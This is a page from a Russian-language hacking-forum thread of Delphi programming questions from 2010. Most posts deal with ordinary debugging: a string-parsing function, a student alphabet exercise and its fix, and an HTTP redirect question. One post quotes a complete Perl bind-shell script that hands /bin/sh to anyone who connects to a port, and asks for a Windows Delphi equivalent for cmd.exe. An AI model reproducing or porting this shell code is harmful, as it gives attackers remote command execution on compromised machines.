ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6421  
Старый 30.04.2010, 19:21
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

Цитата:
function TForm1.Pars(T_, ForS, _T: string): string;
var
a, b: integer;
begin
Result := '';
if (T_ = '') or (ForS = '') or (_T = '') then
Exit;
a := Pos(T_, ForS);
if a = 0 then
Exit
else
a := a + Length(T_);
ForS := Copy(ForS, a, Length(ForS) - a + 1);
b := Pos(_T, ForS);
if b > 0 then
Result := Copy(ForS, 1, b - 1);
end;
При компиляции разные ошибки выдаёт
 
Ответить с цитированием

  #6422  
Старый 30.04.2010, 19:25
TrueBit
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами: 8668804

Репутация: 29
По умолчанию

Цитата:
Сообщение от stepashka_  
При компиляции разные ошибки выдаёт
какие?
 
Ответить с цитированием

  #6423  
Старый 30.04.2010, 19:26
buket
Новичок
Регистрация: 07.04.2007
Сообщений: 27
С нами: 10049851

Репутация: -8
По умолчанию

убери TForm1.
или перед private добавь function Pars(T_, ForS, _T: string): string;
 
Ответить с цитированием

  #6424  
Старый 30.04.2010, 21:54
stepashka_
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами: 8686406

Репутация: 265


По умолчанию

buket все ок скомпилировал, но в лог всё равно не выводит друзей(
 
Ответить с цитированием

  #6425  
Старый 30.04.2010, 22:14
HakaR
Участник форума
Регистрация: 23.07.2009
Сообщений: 261
С нами: 8843557

Репутация: 539
По умолчанию

[offtop]
stepashka_, блин..начинаешь реально уже бесить.
Люди чтоли все время будут за тебя все придумывать\писать?
Думай\делай сам, у тебя должна быть своя голова на плечах...
[/offtop]
 
Ответить с цитированием

  #6426  
Старый 01.05.2010, 00:17
[STH]
Новичок
Регистрация: 08.12.2009
Сообщений: 27
С нами: 8644292

Репутация: 5
По умолчанию

При компилирование нет ошибок, но при запуске пишит



и указывает на
c:=s[a];

в чем может быть проблема?????

задание: Вывести последовательно по нажатию кнопки в текстовом поле весь алфавит (прописные английские буквы). КАЖДОЕ НАЖАТИЕ КНОПКИ - ДОБАВЛЯЕТСЯ ОДНА БУКВА

Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var c:char; s:string; a:integer;
begin
s:='BCDEFGHIKLMNOPQRSTVXYZ';
a:=a+1;
c:=s[a];
if Edit1.Text='' then
Edit1.Text:='A'
else
Edit1.Text:=Edit1.Text+c;
end;

procedure TForm1.FormCreate(Sender: TObject);
var a:integer;
begin
a:=0;
end;

end.
 
Ответить с цитированием

  #6427  
Старый 01.05.2010, 00:28
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
С нами: 10018169

Репутация: 1680


По умолчанию

Возможно ли в Delphi забиндить cmd.exe для NetCat (nc.exe) ?
То есть создать сокет, который приконнектится к IP адресу и порту и передаст управление консоли этому IP адресу.
К примеру на перле под Unix бекконнект с привязкой консоли выглядит вот таким небольшим кодом:
Код:
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
	accept(CONN,S);
	if(!($pid=fork)) {
		die "Cannot fork" if (!defined $pid);
		open STDIN,"<&CONN";
		open STDOUT,">&CONN";
		open STDERR,">&CONN";
		exec $SHELL || die print CONN "Cant execute $SHELL\n";
		close CONN;
		exit 0;
	}
}
Таким образом перенаправляя управление локального bin/sh удалённому IP адресу.
Может у кого есть мысли или примерный код как такое реализовать на делфи под винду?
Я к сожалению не улавливаю алгоритм как он это делает. Перл не знаю... только в теории кажется соединиться с портом, принять от него команду, запустить консоль winehec(‘cmd.exe /c -принятое сообщение от айпи’); нее, видимо так не катит, ибо полноценного соединения тут не будет, только приём\ответ. А пример на перле именно привязывает полностью консоль.
Буду очень рад если кто нибудь поможет с кодом, или скажет в каком направлении копать.
 
Ответить с цитированием

  #6428  
Старый 01.05.2010, 01:32
Vlad3d
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
С нами: 9637731

Репутация: 106
По умолчанию

[STH]

Код:
var
  Form1: TForm1;
  a:integer;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
c:string;
s:string;
begin
a:=a+1;
s:='BCDEFGHIKLMNOPQRSTUVXYZ';
c:=copy(s,a,1);
if Edit1.Text='' then
Edit1.Text:='A'
else
Edit1.Text:=Edit1.Text+c;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
a:=-1;
end;

end.
 
Ответить с цитированием

  #6429  
Старый 01.05.2010, 03:07
[STH]
Новичок
Регистрация: 08.12.2009
Сообщений: 27
С нами: 8644292

Репутация: 5
По умолчанию

Vlad3d, спс...забыл что можно заюзать копи))
 
Ответить с цитированием

  #6430  
Старый 01.05.2010, 14:06
TrueBit
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами: 8668804

Репутация: 29
По умолчанию

здравствуйте!
задача такая:
делаю get запрос, через инди, на сайт.
там проверяются данные, и если они правельные меня редиректит.
Возможно ли узнать на какой урл меня перебросило?
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Wi-Fi, BT] Задай вопрос - получи ответ! Alexsize Беспроводные технологии/Wi-Fi/Wardriving 2571 20.06.2026 14:48
[jQuery] - Задай вопрос, получи ответ Isis PHP 62 25.12.2009 03:25



Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.